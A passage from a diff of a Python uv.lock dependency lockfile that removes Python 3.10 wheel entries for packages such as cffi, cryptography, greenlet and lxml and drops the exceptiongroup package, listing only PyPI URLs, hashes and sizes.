"https://files.pythonhosted.org/packages/a6/80/12056b7138febb2e6c1294801ed7d072908ace2df58e0feed9347e3d9df4/arc4-0.5.0-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:02435fe04cf147aff25a9be5380b16d6084f2469f51620b5fa3af936a6988c51", size = 8431, upload-time = "2026-04-05T13:22:33.896Z" }, { url = "https://files.pythonhosted.org/packages/17/ad/93ff0cb1be94d16357bdaf65fbe1f9c3dc33eb980a08af2c349bef71a43d/arc4-0.5.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:0c47bb37a5b80abcb7043d6b206068e4fbc90d27564aa667b2e7d90b2e7ff2cc", size = 10159, upload-time = "2026-04-05T13:22:35.025Z" }, @@ -266,17 +260,6 @@ version = "8.22.1" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/8d/13/d8b56ef2e6b6ae2cc1b23e509ea7cc8d3423aa0d8a7d7634c23c0bf845e2/bitstruct-8.22.1.tar.gz", hash = "sha256:97588318c906c60d33129e0061dd830b03d793c517033d312487c75426d1e808", size = 35616, upload-time = "2026-02-17T14:14:23.296Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/67/c9/a6a74c645b8a8d151c9bc0830a66a20e293fecfddbe37f4d8f3e0fa12819/bitstruct-8.22.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9c250d8dbd6350dfd73cf4bccab700122072388bd388d284ada37149eeb49979", size = 37862, upload-time = "2026-02-17T14:12:58.826Z" }, - { url = "https://files.pythonhosted.org/packages/4e/c8/09a16455af0941635cf2f37c18a43d9bc7529e02f8b591c6c265c084ccdd/bitstruct-8.22.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7fb40f50be4e60cb7a345ca4ceb16afcbcfecfa7cedf1cded44b8e1d8b8c3109", size = 38387, upload-time = "2026-02-17T14:13:00.389Z" }, - { url = "https://files.pythonhosted.org/packages/c8/30/e66995833d4d9c01e74371a7e8a2ed0ee0d4d9f7eeb3e5de3603d3101862/bitstruct-8.22.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8ebcc2ad3b9addd4a6a409481754c78ade65a8d24a4d34352e37df9b48aeabea", size = 80590, upload-time = "2026-02-17T14:13:01.712Z" }, - { url = "https://files.pythonhosted.org/packages/79/3c/adaaeb93f37958221152ea6af85b10cef71b9c57a3481ad589540aff012e/bitstruct-8.22.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:ec4d4e8308b3098e4de43f7ccd05d626bf2e4b650bea2b5fec9581f7bd7b4d01", size = 84216, upload-time = "2026-02-17T14:13:02.666Z" }, - { url = "https://files.pythonhosted.org/packages/d8/2f/29022203b6c93a609e4e8f8ec5e92594522bc82a59bc2528415f3af65e73/bitstruct-8.22.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e44c42bbfa9540a3df261c9a9613a88e5e5df0ad3931bcc76b9f1cc215f4ece", size = 79627, upload-time = "2026-02-17T14:13:04.038Z" }, - { url = "https://files.pythonhosted.org/packages/28/ef/662577f57c11cf82926a9aa2081b798d5981fee759eb74439a3390218c66/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8140c51b2e663d0efba9a6f5a77be4f26f3e147e65579be83f7c9b370df56cbe", size = 79775, upload-time = "2026-02-17T14:13:05.645Z" }, - { url = "https://files.pythonhosted.org/packages/55/62/7d347087e330822cd433ce1e49dc049c5b26444cc8900d3436d2ddea5a27/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:f7e6bff01ea3765d28d8e426b49e6a0e4f581a4d47329f54d3a83f3f0c23380e", size = 75893, upload-time = "2026-02-17T14:13:06.537Z" }, - { url = "https://files.pythonhosted.org/packages/a7/4c/6b0e029339280377413c920f49114163d82fa4324703d877ac62637f9156/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9430cc3849c24549578210c3e185427d01bc48734acaa9d7d17a767b19719381", size = 79025, upload-time = "2026-02-17T14:13:07.446Z" }, - { url = "https://files.pythonhosted.org/packages/ba/bc/f6bb7e709a6b40a857d41be272b4e251a497e1aad73334c8d279f72abfb3/bitstruct-8.22.1-cp310-cp310-win32.whl", hash = "sha256:9a00e7077c81318a2d7aea6a5e2988301ef316621136ddede68b4a361afc7581", size = 34806, upload-time = "2026-02-17T14:13:08.371Z" }, - { url = "https://files.pythonhosted.org/packages/29/21/16ebf2b053e3e890f02435800ac6acc369e3a5c51e3b2b7304a23faf19cc/bitstruct-8.22.1-cp310-cp310-win_amd64.whl", hash = "sha256:43e3d8113263894e2ca107d2f7376f2767cb880a6f9952b0f66087545a230994", size = 36860, upload-time = "2026-02-17T14:13:09.264Z" }, - { url = "https://files.pythonhosted.org/packages/02/04/63f9b2569aaf89db734b685388cb6676f958f7fb4ba5566555a2c79f5fb8/bitstruct-8.22.1-cp310-cp310-win_arm64.whl", hash = "sha256:86f68adf8945b80007cfed2318277fc2d5de5fb253d7df5d7a703dc10b54e149", size = 35704, upload-time = "2026-02-17T14:13:10.055Z" }, { url = "https://files.pythonhosted.org/packages/bd/48/7eae09e61478167ab084c503e384e203271c04213828db830af835fa8997/bitstruct-8.22.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a4d235cbdba2df0747d4e4a6a6d3d46505cc2b52b16e9d3d4431423401c565f6", size = 37853, upload-time = "2026-02-17T14:13:10.965Z" }, { url = "https://files.pythonhosted.org/packages/58/5a/4a4790504f98328f5576f6b27d4366da4fcd00cf7d5e6871b546730905b5/bitstruct-8.22.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7b3c29ee922e68538c575667bdc924e3ef09d21da94fd48a4a430f9c32c70997", size = 38380, upload-time = "2026-02-17T14:13:12.322Z" }, { url = "https://files.pythonhosted.org/packages/13/7b/156d71cb6b99e7b4e9802a1853a0f1dbdab5b4090c90eaee8eae1aa0371b/bitstruct-8.22.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a493a66fac64f989f3c8043e40f9ceb6b8169592c7e5a9d37a1409f00cb757a", size = 82235, upload-time = "2026-02-17T14:13:13.385Z" }, @@ -412,18 +395,6 @@ dependencies = [ ] sdist = { url = "https://files.pythonhosted.org/packages/9e/ef/008a1939e372c06329a3fce4279c02f328488f3526744906eeec3da7ad5f/cffi-2.1.1.tar.gz", hash = "sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be", size = 530807, upload-time = "2026-08-03T21:21:18.939Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/b6/d2/2cde336b375f55c76ca670f0be3978cc048e31e24f3b4d7ce8473150a388/cffi-2.1.1-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:baed1e86cc735622097354b9d1281406caf42ff42a886d29faa8e8d1630333be", size = 183779, upload-time = "2026-08-03T21:19:15.602Z" }, - { url = "https://files.pythonhosted.org/packages/94/1a/4b2f7c92293ba05cbd4a9a1b28faaf0326272d9488e6354657571c48a7aa/cffi-2.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ca82be1a1d406ecfe1d25dc16cb33488e5a16bf4438c9fb590484ea29d92478b", size = 184178, upload-time = "2026-08-03T21:19:16.67Z" }, - { url = "https://files.pythonhosted.org/packages/17/0b/ba385d8ccedf926c3cd06e8e2f327027da5afe5f0eb30f1f7bc43ac55125/cffi-2.1.1-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:42e2f76b9455f5a9a844f770bf3e200ed3da0e15f5df3db9c31fe80b04b3d004", size = 211037, upload-time = "2026-08-03T21:19:17.705Z" }, - { url = "https://files.pythonhosted.org/packages/a3/b9/0f2e58b2cefa33255bff36935d42b13180fe559bba82596540eb404bde7d/cffi-2.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5a59cc1c4442bc3d5c703bf720b51138d0bfc173618807c9ee2490a7541dd3d9", size = 218652, upload-time = "2026-08-03T21:19:18.735Z" }, - { url = "https://files.pythonhosted.org/packages/37/15/180e0dab27b9312c7479003d14c9e547634b7dcb934e2cc4650e1b131a7a/cffi-2.1.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:9f8d177621de5cb38ee3e731eda45d421db093ec0739f46a5594babda7987a98", size = 205422, upload-time = "2026-08-03T21:19:19.96Z" }, - { url = "https://files.pythonhosted.org/packages/18/d4/03026f0c850cbbaa9030750490225b4a7f4d524ea4df72c3cc740a90f4ef/cffi-2.1.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:75f80557d1389eddbd0de2681f6a390a0c5338c31ddaa821381c203fc3fd50d9", size = 205444, upload-time = "2026-08-03T21:19:21.246Z" }, - { url = "https://files.pythonhosted.org/packages/75/77/60bebf6f818bec84210ac5b6979ce4eeadce6fbbaabc9c7ab23e506d1ce5/cffi-2.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:194cffa889098ced9976c3fc6340305e43f6303657d298da55366907c05c22d6", size = 218742, upload-time = "2026-08-03T21:19:22.523Z" }, - { url = "https://files.pythonhosted.org/packages/b0/ae/679bf47e73fd77b352171727f07de559a003f14de5d02b904a6ec1fa73ca/cffi-2.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5bb4e7ea95dcd6a014a6fef62e62467d67d8e582326443f3d68e71d6320a9fcf", size = 221054, upload-time = "2026-08-03T21:19:23.694Z" }, - { url = "https://files.pythonhosted.org/packages/09/b8/eefc0e06913b70aa153bf74c946094a18f58fd4aff11b7f372bfdfdca050/cffi-2.1.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3d22a20b1fb1632cc72c22f95f7b0d2961c3e1c235f245ba4c606c4771035659", size = 213489, upload-time = "2026-08-03T21:19:24.922Z" }, - { url = "https://files.pythonhosted.org/packages/6f/13/4e56852824a03cdf68523a35686f1c28eacd4bd30a7b0a78e682e6e6e1d3/cffi-2.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:1dea0e4d7d4f11f619fe8c1d76caf49e24405b4b5743c0e3be16a500ecd930c9", size = 220241, upload-time = "2026-08-03T21:19:26.214Z" }, - { url = "https://files.pythonhosted.org/packages/99/7f/040f9e163e4acac3ee3d85b02d00b2576e7ca980d8785f0a3a5f1a9bf7f5/cffi-2.1.1-cp310-cp310-win32.whl", hash = "sha256:7ce713ace7c0e4520535b42b77eaa742c16dab813978064913e5a3cf82973b41", size = 174578, upload-time = "2026-08-03T21:19:27.338Z" }, - { url = "https://files.pythonhosted.org/packages/ba/0b/644a2ec1a4eaba49c2939410bb1eb1d25b09d6d0582f5d2f95c537043725/cffi-2.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:a48d62ab9d6f4f98c983223a547af44be6ca3691074c31cecced6facd3ba2dc1", size = 185082, upload-time = "2026-08-03T21:19:28.409Z" }, { url = "https://files.pythonhosted.org/packages/70/d2/16d99a0c4948febc0ebd133a13b2f688ff7f8cb04da971e1128872ce0c03/cffi-2.1.1-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:c8d2c9fd1f2d16f780d15127abb050d13d1a76c03a4bd87d7e4980e45e511e12", size = 183838, upload-time = "2026-08-03T21:19:29.637Z" }, { url = "https://files.pythonhosted.org/packages/cd/95/31b535a9f0220ae9f357de4a08d57ce89cb417653c2fd9f075f50822a388/cffi-2.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:398aff33cee2767e3e781d2554c54bd0dff386bb437581e0d8011fde1a942ec1", size = 184168, upload-time = "2026-08-03T21:19:30.764Z" }, { url = "https://files.pythonhosted.org/packages/ad/5a/4707a0dc1f203f5dde5a907b0d4e3c25d71120241048bd5bc6f1bb9d4e71/cffi-2.1.1-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:154852545011f779917b11c78db2358d095da62a9a172b78ad0a583ee5adc0d0", size = 211805, upload-time = "2026-08-03T21:19:31.867Z" }, @@ -519,22 +490,6 @@ version = "3.5.1" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/e5/3f/143b048436775b0f76ac3eec145c019e8173ccc2885c8f20319b996d5e83/charset_normalizer-3.5.1.tar.gz", hash = "sha256:6117b84ea48435e5356dc737f5121485c30920ba43375fa7b434fd753df0eac3", size = 171764, upload-time = "2026-08-15T08:20:44.807Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/71/aa/554e2614f38fc34c58ff1d0911ae8535ad2516440d5482d76fe59f1088b0/charset_normalizer-3.5.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1ee1e296209fdce05b81b663250eefa02213a2da7b41bf26f7829b8ba3545aa", size = 369072, upload-time = "2026-08-15T08:16:22.964Z" }, - { url = "https://files.pythonhosted.org/packages/03/6d/439231dfc3ccfa6f8c06477b7da2219cbd41a2de3d49084df8ec7b5100f2/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e9fbdce1e47394b09bc9f26ab117dfc8d6491977a11d86f592bb42c779db2fda", size = 251142, upload-time = "2026-08-15T08:16:24.81Z" }, - { url = "https://files.pythonhosted.org/packages/55/53/7d819bd23a00ef45039146fa2cce1daa2f0771e758c5653ee1f6edac91ed/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:00668ebb0609751758682eb0b5857e7c35b9f00e84dfdef062e103244ec94d45", size = 240714, upload-time = "2026-08-15T08:16:26.392Z" }, - { url = "https://files.pythonhosted.org/packages/b2/2c/45847198c16f4b38090cc7423b2b6a9008e438704d8ab413211832498d31/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba2f37ee79e6338845261a3c5b1784e5d1acdff2c0785b284f1b633033d136ab", size = 279637, upload-time = "2026-08-15T08:16:27.961Z" }, - { url = "https://files.pythonhosted.org/packages/69/2b/d8be3523ddf9f0b0f3e56d1359034aa10653a4d11564c697f802b4775766/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ce854f5f478050ade5a238731c4ca985a7d3b3cb53ff600a9b5c3b689b5f0a7a", size = 276543, upload-time = "2026-08-15T08:16:29.399Z" }, - { url = "https://files.pythonhosted.org/packages/32/cd/4f564b8f132de25db594efc706897069f016790cea63a5669c9df2675f64/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:96eefc178f8636b9c760c5829345307fd81cfae9ab1e80997dbddeb0f54ee9a3", size = 261644, upload-time = "2026-08-15T08:16:30.722Z" }, - { url = "https://files.pythonhosted.org/packages/f5/e3/38b975422534a608f98c360e79c2f07c763d66dd4272300d45fb1fee54b0/charset_normalizer-3.5.1-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:366ec70f5547c640d3ce1985722490f23faf4eb5216a7eeba78277490e78dacb", size = 259609, upload-time = "2026-08-15T08:16:32.248Z" }, - { url = "https://files.pythonhosted.org/packages/87/bd/fbc24d825c66f1c74f6ccdea3742c3d8354a4888e86d1315a197fee69061/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:950f23cb393f85543777b0433f082cddd25b51ab398eac7971146495679efe5f", size = 252457, upload-time = "2026-08-15T08:16:33.849Z" }, - { url = "https://files.pythonhosted.org/packages/b9/2d/918d0e98a0e679469ed05bb2d90c2088b4d315bb612969d8499f76fb5210/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:c1dcc36dcb96abc02236e182d17e0f71430152a6c2c7447421da2d2dc144edea", size = 242240, upload-time = "2026-08-15T08:16:35.396Z" }, - { url = "https://files.pythonhosted.org/packages/20/c8/c36f6e0b2dfec351bd38cbc05362697e58bcd073d7dbd95154290c9714ce/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:07ffd07412fc5d5e84cd8952acf9ff7e4ed7a708e69d1bada19d8ba91711353f", size = 280308, upload-time = "2026-08-15T08:16:36.825Z" }, - { url = "https://files.pythonhosted.org/packages/ca/7b/311b3e02e8c4092400c449c850a760d8c45d900983c83a70cc07208c551d/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:f5542f9b941279d82d41eb0aa9f98eba36fe4df5c7086c651df7944935b37182", size = 258679, upload-time = "2026-08-15T08:16:38.22Z" }, - { url = "https://files.pythonhosted.org/packages/b9/90/082cc45599c392f28c036a497f49e0634041a785fc3849c80ccf396d096f/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:a545775cfe815855ea32d7c27731d79da358ef2055b4a25830231b1622dd18aa", size = 277221, upload-time = "2026-08-15T08:16:39.62Z" }, - { url = "https://files.pythonhosted.org/packages/58/ad/b9aecf38d805cbcf84fa94f14c5d972a16561e20296a11dc799a5dcf3763/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:494b70049a4d69aec6e8137c13af4cf8db8c9f9820a1392ac293b0dd2987a818", size = 263799, upload-time = "2026-08-15T08:16:40.885Z" }, - { url = "https://files.pythonhosted.org/packages/b7/23/b38a20598d5a825f85d9d7636860e56ff0db1479f86497a6e485aa9326f7/charset_normalizer-3.5.1-cp310-cp310-win32.whl", hash = "sha256:94fbf1c0c6cc0d3d5e50f9a9313a8cdca90dd696d34b381cd1704f8c9e939f20", size = 182037, upload-time = "2026-08-15T08:16:42.198Z" }, - { url = "https://files.pythonhosted.org/packages/d2/21/83fffb77864408b8bf0fe1ca603926401d6f8775a8e150b39aacc9958f8a/charset_normalizer-3.5.1-cp310-cp310-win_amd64.whl", hash = "sha256:be47f99644b208bff7766314013f9acf57b056b04191d570d68ad14022cf5b1d", size = 206030, upload-time = "2026-08-15T08:16:43.787Z" }, - { url = "https://files.pythonhosted.org/packages/86/2e/b93135b5034b1157fb29554b0d06d4844ce62282f0e0a14036f93d7ee2e7/charset_normalizer-3.5.1-cp310-cp310-win_arm64.whl", hash = "sha256:a6d095662e73e74f0a49988e0593373e243e3a52e27bfeea0a859e88acf4a0f5", size = 185092, upload-time = "2026-08-15T08:16:45.177Z" }, { url = "https://files.pythonhosted.org/packages/6a/b6/034f6802e9c3f6418966cfabb7db8c9252cc2429c5098f41cc43af804149/charset_normalizer-3.5.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:eda059b6bc8bc0812d626fd91a7ce01bf583df0a61296eff390fd94141a34e30", size = 363585, upload-time = "2026-08-15T08:16:46.646Z" }, { url = "https://files.pythonhosted.org/packages/d5/fa/6a7e2a7c4b5451912b8c417732df79574354443592a88d616de03da66ae5/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aa2bb0b37202dca27175591f761108b5d34096ade1191ffe4808bdf6b1571488", size = 251189, upload-time = "2026-08-15T08:16:48.287Z" }, { url = "https://files.pythonhosted.org/packages/a4/c8/ab42b07cfd82e919f427fcfaa7c41abae8242833ad1aad66d42bae40b669/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0b2b1b3fa5670c127b246df1d0c059defd41f689a868a3b9d79df9b1cac42d22", size = 239724, upload-time = "2026-08-15T08:16:49.67Z" }, @@ -729,10 +684,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/fd/2b/be327b580645927bb1a1f32d5a175b897a9b956bc085b095e15c40bac9ed/cryptography-42.0.8-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b297f90c5723d04bcc8265fc2a0f86d4ea2e0f7ab4b6994459548d3a6b992a14", size = 3938751, upload-time = "2024-06-04T19:54:37.837Z" }, { url = "https://files.pythonhosted.org/packages/3c/d5/c6a78ffccdbe4516711ebaa9ed2c7eb6ac5dfa3dc920f2c7e920af2418b0/cryptography-42.0.8-cp39-abi3-win32.whl", hash = "sha256:2f88d197e66c65be5e42cd72e5c18afbfae3f741742070e3019ac8f4ac57262c", size = 2439281, upload-time = "2024-06-04T19:53:55.903Z" }, { url = "https://files.pythonhosted.org/packages/a2/7b/b0d330852dd5953daee6b15f742f15d9f18e9c0154eb4cfcc8718f0436da/cryptography-42.0.8-cp39-abi3-win_amd64.whl", hash = "sha256:fa76fbb7596cc5839320000cdd5d0955313696d9511debab7ee7278fc8b5c84a", size = 2886038, upload-time = "2024-06-04T19:54:18.707Z" }, - { url = "https://files.pythonhosted.org/packages/a3/fe/1e21699f0a7904e8a30d4fc6db262958f1edf5e505a02e7d97a5b419e482/cryptography-42.0.8-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:ba4f0a211697362e89ad822e667d8d340b4d8d55fae72cdd619389fb5912eefe", size = 3014449, upload-time = "2024-06-04T19:54:40.379Z" }, - { url = "https://files.pythonhosted.org/packages/d5/f3/61b398b5ec61f4b6ffbf746227df7ebb421696458d9625d634043f236a13/cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:81884c4d096c272f00aeb1f11cf62ccd39763581645b0812e99a91505fa48e0c", size = 3558533, upload-time = "2024-06-04T19:54:42.123Z" }, - { url = "https://files.pythonhosted.org/packages/c1/e2/60b05e720766e185ef097d07068bd878a51d613ef91e4c241750f9c9192b/cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c9bb2ae11bfbab395bdd072985abde58ea9860ed84e59dbc0463a5d0159f5b71", size = 3759330, upload-time = "2024-06-04T19:54:09.258Z" }, - { url = "https://files.pythonhosted.org/packages/10/38/2c8dae407d301eaf942e377a5b2b30485cfa0df03c6c2dcc2ac044054ed9/cryptography-42.0.8-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7016f837e15b0a1c119d27ecd89b3515f01f90a8615ed5e9427e30d9cdbfed3d", size = 2801764, upload-time = "2024-06-04T19:54:25.455Z" }, ] [[package]] @@ -773,18 +724,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/f0/29/41a6937ecc61812d09b9177a09c6f4a3edc499c0e227180d572a23e24e7b/dsinternals-1.2.5-py3-none-any.whl", hash = "sha256:25c544558381a86644fc6ef3b131f2a7450675b35e324553cb414b696d86d7bd", size = 200448, upload-time = "2026-02-01T20:43:59.674Z" }, ] -[[package]] -name = "exceptiongroup" -version = "1.3.1" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "typing-extensions", marker = "python_full_version < '3.13'" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" }, -] - [[package]] name = "flake8" version = "7.3.0" @@ -822,13 +761,6 @@ version = "3.5.5" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/0b/d8/7cc97c142388aef03f622e001c572c4f84e9252a439549d483f555771970/greenlet-3.5.5.tar.gz", hash = "sha256:adb4bae02e91a8e863e48b177e4014bdcac8a6b5e047ea1df687a61534b85e6c", size = 207585, upload-time = "2026-08-10T15:09:36.136Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/07/67/07ecd6d85c0f253363cbc4ac9e7dd048ca571a267fbccfea084d6009ac3b/greenlet-3.5.5-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:816230f469381ad0a43abc9fa8dda5a699e32fb78958dde32ded93213b70a667", size = 292971, upload-time = "2026-08-10T13:28:09.837Z" }, - { url = "https://files.pythonhosted.org/packages/24/35/426733bc24247ee17bb76df90f550c299ff5f8572b2bdd7cacb5c53fd994/greenlet-3.5.5-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5433cf291e0ef9114bd14d0d824db6e5e4a43033234bca48181a9597acca07b", size = 609290, upload-time = "2026-08-10T14:14:32.273Z" }, - { url = "https://files.pythonhosted.org/packages/9c/dc/17d3a5acceb2fd0bbc9682a228117b719cdfb68085e6dbb33fa325755f27/greenlet-3.5.5-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:19d59f068887d8c5907fc177f27683413ace3011b6ed646c0b309266e74a6502", size = 622650, upload-time = "2026-08-10T14:27:22.004Z" }, - { url = "https://files.pythonhosted.org/packages/51/91/00b3c0566316c6f383ea16ee05388ec4f57f6e0afa49e72ae471eda8c47f/greenlet-3.5.5-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9ff00e12102358292087274dfb1669132387ff6e7920ebf9d85f4826ce0d3a56", size = 622819, upload-time = "2026-08-10T13:40:46.562Z" }, - { url = "https://files.pythonhosted.org/packages/3c/78/52de4f7ac9152ad1dbc8f437895c1e573d30ee1e1427e0f91a280e2417b6/greenlet-3.5.5-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:523bb8e27614d77101ea7a8cf59f8d91219b72d5c29f6a038c92b50828bfa8d0", size = 1582164, upload-time = "2026-08-10T14:15:02.645Z" }, - { url = "https://files.pythonhosted.org/packages/f6/ff/c3855a00c2417e8f61c7b9f0bc4f8f599c6928f5c15681ad251e78a91e05/greenlet-3.5.5-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f1e2db190db51c17433eee424803818cf0670bf049d9cfe0dd07be111d1aa7c4", size = 1648807, upload-time = "2026-08-10T13:40:27.471Z" }, - { url = "https://files.pythonhosted.org/packages/70/21/d29ff6a79dbd1ec1fe74c155d25d4c5a85e221d6b9ffc2cc7a709e7c8c39/greenlet-3.5.5-cp310-cp310-win_amd64.whl", hash = "sha256:740e544169527b82695ce76af2f7ad6f030904658f2f3921a1d245771fb88cfc", size = 322832, upload-time = "2026-08-10T13:28:10.85Z" }, { url = "https://files.pythonhosted.org/packages/4e/a3/07297917485ee2ca85bc3c8dc6ed85ad3fffcf424047fba62671dba68e97/greenlet-3.5.5-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:be63afcbbccfad3dd95a1ba12ada84dab2ef32031973d80b5b92df67fa763a61", size = 294165, upload-time = "2026-08-10T13:25:17.987Z" }, { url = "https://files.pythonhosted.org/packages/db/51/6f732f9314cda54c5fd48a7620c7160f4f286967e8045ad94b9d66ce80b7/greenlet-3.5.5-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a268024ce2d7d2b04694bf1594058981a9fa663d1df4b762dee499211ed7c1c", size = 613610, upload-time = "2026-08-10T14:14:33.829Z" }, { url = "https://files.pythonhosted.org/packages/d8/c0/b27589e25d220289edcd4d582b2b17b83058d1a56d53d971b6ea1a34f10d/greenlet-3.5.5-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:35cbb8bf55ace57fbccb4fb8622c4521713acd8691e77f4696d416ea7ca527da", size = 625481, upload-time = "2026-08-10T14:27:23.647Z" }, @@ -1046,22 +978,6 @@ version = "6.1.1" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/05/3b/aab6728cae887456f409b4d75e8a01856e4f04bd510de38052a47768b680/lxml-6.1.1.tar.gz", hash = "sha256:ba96ae44888e0185281e937633a743ea90d5a196c6000f82565ebb0580012d40", size = 4197430, upload-time = "2026-05-18T19:19:06.424Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/12/da/dbe4dfc01ac226fb0504fad035f4d69f3202f3502e20e68537631daddd96/lxml-6.1.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:09dd5b7075dc2f7709654a46543ba1ea3c2e217b2ed8fbd413a8a945a0f40f60", size = 8541124, upload-time = "2026-05-18T19:17:11.589Z" }, - { url = "https://files.pythonhosted.org/packages/78/20/f7095ed9fc2c025f9cfe71cc6ec9f1feb05624edc1812423b5f1aecf3d4b/lxml-6.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f6ac4ef4d82dff54670227a69c67782ae0b811b5cf6b17954f1e8f7502fc0d1d", size = 4602783, upload-time = "2026-05-18T19:17:20.888Z" }, - { url = "https://files.pythonhosted.org/packages/4a/a4/65c63ca98bd129f6cff7b8c2fa48953ab058cc6005b541354e7dd54d8000/lxml-6.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = 